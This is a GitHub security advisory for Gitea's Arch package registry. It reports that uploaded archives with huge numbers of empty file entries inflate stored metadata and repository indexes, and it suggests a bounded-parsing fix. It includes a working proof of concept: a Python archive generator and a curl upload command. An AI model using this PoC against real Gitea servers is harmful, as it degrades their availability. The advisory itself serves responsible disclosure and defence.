Skip to content

Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads

Moderate severity GitHub Reviewed Published Jul 13, 2026 in go-gitea/gitea

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.27.0

Patched versions

1.27.0

Description

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

Entries Compressed archive bytes Parsed file entries Metadata JSON bytes Joined files bytes Parse time
25 477 25 1,237 1,074 0 ms
10,000 47,461 10,000 450,112 429,999 25 ms
100,000 470,403 100,000 4,500,112 4,299,999 264 ms

Local Gitea upload measurements:

Entries Upload HTTP status Upload time Uploaded bytes Stored metadata bytes Stored file count Repository index blob bytes Extracted files lines
10,000 201 0.243 s 47,461 450,112 10,000 27,267 10,001
100,000 201 0.483 s 470,403 4,500,112 100,000 262,301 100,001
500,000 201 1.798 s 2,349,767 22,500,112 500,000 1,306,465 500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

Entries Upload bytes Upload HTTP status Stored metadata bytes Notes
100,000 470,403 201 4,500,112 Accepted because the compressed upload was below the package size limit.
500,000 2,349,767 403 not stored Rejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

References

@bircni bircni published to go-gitea/gitea Jul 13, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-59763

GHSA ID

GHSA-9mq6-mqjj-c2c5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.